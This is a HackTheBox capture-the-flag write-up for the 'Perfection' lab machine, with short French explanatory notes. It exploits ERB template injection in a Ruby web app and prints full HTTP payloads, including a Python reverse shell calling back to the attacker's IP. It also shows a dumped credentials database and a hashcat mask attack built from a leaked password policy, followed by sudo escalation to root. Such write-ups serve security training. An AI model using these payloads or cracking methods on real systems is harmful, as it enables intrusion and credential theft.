HackTheBox Writeup

Perfection

Perfection

we see: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07) at perfection:3000

let's see: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby

payload:

POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
Origin: http://10.10.11.253
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1

category1=qwer%0A<%25%3d+7*7+%25>&grade1=41&weight1=60&category2=asdf&grade2=10&weight2=20&category3=xzcv&grade3=10&weight3=10&category4=tyui&grade4=10&weight4=10&category5=ghjk&grade5=0&weight5=0

Explication : exemple d'envoi POST qui montre l'injection ERB — le champ category1 contient un saut de ligne suivi d'une expression évaluée côté serveur.

result

      Your total grade is 28%<p>qwer
49: 24%</p><p>asdf: 2%</p><p>xzcv: 1%</p><p>tyui: 1%</p><p>ghjk: 0%</p>
    </div>

Explication : sortie renvoyée par l'application ; on observe la partie injectée évaluée (7*7 a été calculé), confirmant la vulnérabilité SSTI.

so we can make an SSTI

test ping our machine for see if we have connection

POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 216
Origin: http://10.10.11.253
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1

category1=qwer%0A<%25%3d+`ping -c 4 10.10.16.17`+%25>&grade1=41&weight1=60&category2=asdf&grade2=10&weight2=20&category3=xzcv&grade3=10&weight3=10&category4=tyui&grade4=10&weight4=10&category5=ghjk&grade5=0&weight5=0

result

      </form>
      Your total grade is 28%<p>qwer
PING 10.10.16.17 (10.10.16.17) 56(84) bytes of data.
64 bytes from 10.10.16.17: icmp_seq=1 ttl=63 time=59.8 ms
64 bytes from 10.10.16.17: icmp_seq=2 ttl=63 time=13.9 ms
64 bytes from 10.10.16.17: icmp_seq=3 ttl=63 time=13.6 ms
64 bytes from 10.10.16.17: icmp_seq=4 ttl=63 time=13.2 ms

--- 10.10.16.17 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 13.174/25.110/59.803/20.031 ms
: 24%</p><p>asdf: 2%</p><p>xzcv: 1%</p><p>tyui: 1%</p><p>ghjk: 0%</p>
    </div>

Explication : test non intrusif — l'exécution de ping confirme que le serveur peut exécuter des commandes et communiquer avec l'attaquant.

POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Origin: http://10.10.11.253
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1

category1=qwer%0A<%25%3d+`which python3`+%25>&grade1=41&weight1=60&category2=asdf&grade2=10&weight2=20&category3=xzcv&grade3=10&weight3=10&category4=tyui&grade4=10&weight4=10&category5=ghjk&grade5=0&weight5=0
      </form>
      Your total grade is 28%<p>qwer
/usr/bin/python3
: 24%</p><p>asdf: 2%</p><p>xzcv: 1%</p><p>tyui: 1%</p><p>ghjk: 0%</p>
    </div>

Explication : vérification de la présence de python3 sur la cible — utile pour choisir le payload de reverse shell adapté.

our payload so:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.17",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Explication : payload Python ouvrant une socket vers l'attaquant et dupliquant les descripteurs pour obtenir un shell interactif.

POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Origin: http://10.10.11.253
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1

category1=qwer%0A<%25%3d+`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.17",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`+%25>&grade1=41&weight1=60&category2=asdf&grade2=10&weight2=20&category3=xzcv&grade3=10&weight3=10&category4=tyui&grade4=10&weight4=10&category5=ghjk&grade5=0&weight5=0
┌──(alesio㉿Alesio)-[~]
└─$ pwncat-cs -lp 1234
/home/alesio/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[05:48:23] Welcome to pwncat 🐈!                                                                                                                                                                  __main__.py:164
[05:56:59] received connection from 10.10.11.253:49642                                                                                                                                                 bind.py:84
[05:57:01] 0.0.0.0:1234: upgrading from /usr/bin/dash to /usr/bin/bash                                                                                                                             manager.py:957
[05:57:02] 10.10.11.253:49642: registered new host w/ db                                                                                                                                           manager.py:957
(local) pwncat$

Explication : pwncat (ou netcat) en écoute pour recevoir la connexion reverse ; l'outil montre l'établissement et l'upgrade du shell.

first flag user:

(remote) susan@perfection:/home/susan$ cat user.txt
0bdeeaf785c7130a064440f5e7301eac
(remote) susan@perfection:/home/susan$ ls
Migration  ruby_app  user.txt
(remote) susan@perfection:/home/susan$ cd Migration/
(remote) susan@perfection:/home/susan/Migration$ ls
pupilpath_credentials.db
(remote) susan@perfection:/home/susan/Migration$ cat pupilpath_credentials.db
��^�ableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
a�\
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f(remote) susan@perfection:/home/susan/Migration$
(remote) susan@perfection:/home/susan/Migration$ file pupilpath_credentials.db
pupilpath_credentials.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 6, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 6
(remote) susan@perfection:/home/susan/Migration$ sqlite3 pupilpath_credentials.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .table
users
sqlite> select * from users
   ...> ;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
sqlite>

test to crack it:

┌──(alesio㉿Alesio)-[~/Perfection]
└─$ hashcat sus_hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 9 5950X 16-Core Processor, 6913/13891 MB (2048 MB allocatable), 32MCU

The following 8 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1400 | SHA2-256                                                   | Raw Hash
  17400 | SHA3-256                                                   | Raw Hash
  11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash
   6900 | GOST R 34.11-94                                            | Raw Hash
  17800 | Keccak-256                                                 | Raw Hash
   1470 | sha256(utf16le($pass))                                     | Raw Hash
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated

Please specify the hash-mode with -m [hash-mode].

Started: Tue Mar  5 06:07:36 2024
Stopped: Tue Mar  5 06:07:37 2024

the tools don't identify the hash so let identify it:

┌──(alesio㉿Alesio)-[~/Perfection]
└─$ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   [email protected] #
   #########################################################################
--------------------------------------------------
 HASH: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

Possible Hashs:
[+] SHA-256
[+] Haval-256

Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
--------------------------------------------------
 HASH: ^C

        Bye!

┌──(alesio㉿Alesio)-[~/Perfection]
└─$ hashcat -m 1400 sus_hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 9 5950X 16-Core Processor, 6913/13891 MB (2048 MB allocatable), 32MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 8 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Tue Mar  5 06:10:09 2024 (1 sec)
Time.Estimated...: Tue Mar  5 06:10:10 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  8921.0 kH/s (0.57ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[284d756666696e29] -> $HEX[042a0337c2a156616d6f732103]

Started: Tue Mar  5 06:09:57 2024
Stopped: Tue Mar  5 06:10:11 2024

Explication : tentative de craquage générique avec une wordlist (rockyou.txt). Ici hashcat est lancé en mode autodétection pour déterminer le bon format de hash.

┌──(alesio㉿Alesio)-[~/Perfection]
└─$ john sus_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "cryptoSafe", but the string is also recognized as "gost"
Use the "--format=gost" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "HAVAL-256-3"
Use the "--format=HAVAL-256-3" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Panama"
Use the "--format=Panama" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "po"
Use the "--format=po" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Raw-Keccak-256"
Use the "--format=Raw-Keccak-256" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Raw-SHA256"
Use the "--format=Raw-SHA256" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "skein-256"
Use the "--format=skein-256" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Snefru-256"
Use the "--format=Snefru-256" option to force loading these as that type instead
Warning: detected hash type "cryptoSafe", but the string is also recognized as "Stribog-256"
Use the "--format=Stribog-256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (cryptoSafe [AES-256-CBC])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-03-05 06:12) 0g/s 20785Kp/s 20785Kc/s 20785KC/s ejda..*7¡Vamos!
Session completed.

Unsuccess to bruteforce the password

Explication : john a été lancé en wordlist mais n'a pas retourné de résultat ; il faut ajuster le format ou réduire le keyspace.

let's transfert linpeas on the target machine to see

┌──(alesio㉿Alesio)-[~]
└─$ cat /usr/share/peass/linpeas/linpeas
linpeas_darwin_amd64  linpeas_darwin_arm64  linpeas_fat.sh        linpeas_linux_386     linpeas_linux_amd64   linpeas_linux_arm     linpeas_linux_arm64   linpeas.sh
(remote) susan@perfection:/tmp$
(local) pwncat$ upload ./Perfection/linpeas.sh
./linpeas.sh ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 847.8/847.8 kB • ? • 0:00:00
[06:20:17] uploaded 847.83KiB in 4.90 seconds                                                                                                                                                        upload.py:76
(local) pwncat$
(remote) susan@perfection:/tmp$ chmod 777 linpeas.sh

Explication : upload transfère linpeas.sh vers la cible ; chmod 777 rend le script exécutable pour lancer l'énumération locale.

interesting thing:

╔══════════╣ Searching installed mail applications

╔══════════╣ Mails (limit 50)
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/mail/susan
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/spool/mail/susan

(remote) susan@perfection:/tmp$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

whe can see the password is {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000} so susan_nasus_?????????

Explication : le fichier mail indique le format de mot de passe attendu pour les comptes étudiants — utile pour générer un keyspace ciblé.



┌──(alesio㉿Alesio)-[~/Perfection] └─$ hashcat -m 1400 -a 3 sus_hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

  • Device #1: cpu-haswell-AMD Ryzen 9 5950X 16-Core Processor, 6913/13891 MB (2048 MB allocatable), 32MCU

Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:

  • Zero-Byte
  • Early-Skip
  • Not-Salted
  • Not-Iterated
  • Single-Hash
  • Single-Salt
  • Brute-Force
  • Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 8 MB

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

Session..........: hashcat Status...........: Running Hash.Mode........: 1400 (SHA2-256) Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f Time.Started.....: Tue Mar 5 06:31:59 2024 (11 secs) Time.Estimated...: Tue Mar 5 06:33:01 2024 (51 secs) Kernel.Feature...: Pure Kernel Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 16013.2 kH/s (0.74ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new) Progress.........: 175144960/1000000000 (17.51%) Rejected.........: 0/175144960 (0.00%) Restore.Point....: 175112192/1000000000 (17.51%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: susan_nasus_157134356 -> susan_nasus_874655490

abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

Session..........: hashcat Status...........: Cracked Hash.Mode........: 1400 (SHA2-256) Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f Time.Started.....: Tue Mar 5 06:31:59 2024 (20 secs) Time.Estimated...: Tue Mar 5 06:32:19 2024 (0 secs) Kernel.Feature...: Pure Kernel Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 15742.6 kH/s (0.77ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 324567040/1000000000 (32.46%) Rejected.........: 0/324567040 (0.00%) Restore.Point....: 324534272/1000000000 (32.45%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: susan_nasus_021309210 -> susan_nasus_700440610

Started: Tue Mar 5 06:31:47 2024 Stopped: Tue Mar 5 06:32:21 2024


Explication : attaque par masque (`?d` = chiffre) utilisée puisque le format est connu; `hashcat` a cracké le hash et a affiché le couple `hash:password`.


(remote) susan@perfection:/tmp$ sudo -l [sudo] password for susan: Matching Defaults entries for susan on perfection: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User susan may run the following commands on perfection: (ALL : ALL) ALL (remote) susan@perfection:/tmp$ sudo su


Explication : `sudo -l` montre que `susan` peut exécuter n'importe quelle commande en tant que root. `sudo su` permet d'obtenir un shell root sans mot de passe supplémentaire.



root@perfection:/tmp# cd /root root@perfection:# cat root.txt 627d3305d8fbfd12cc9f76babbe206fc root@perfection:#


Explication : le contenu de `root.txt` confirme l'accès root et conclut la capture du flag.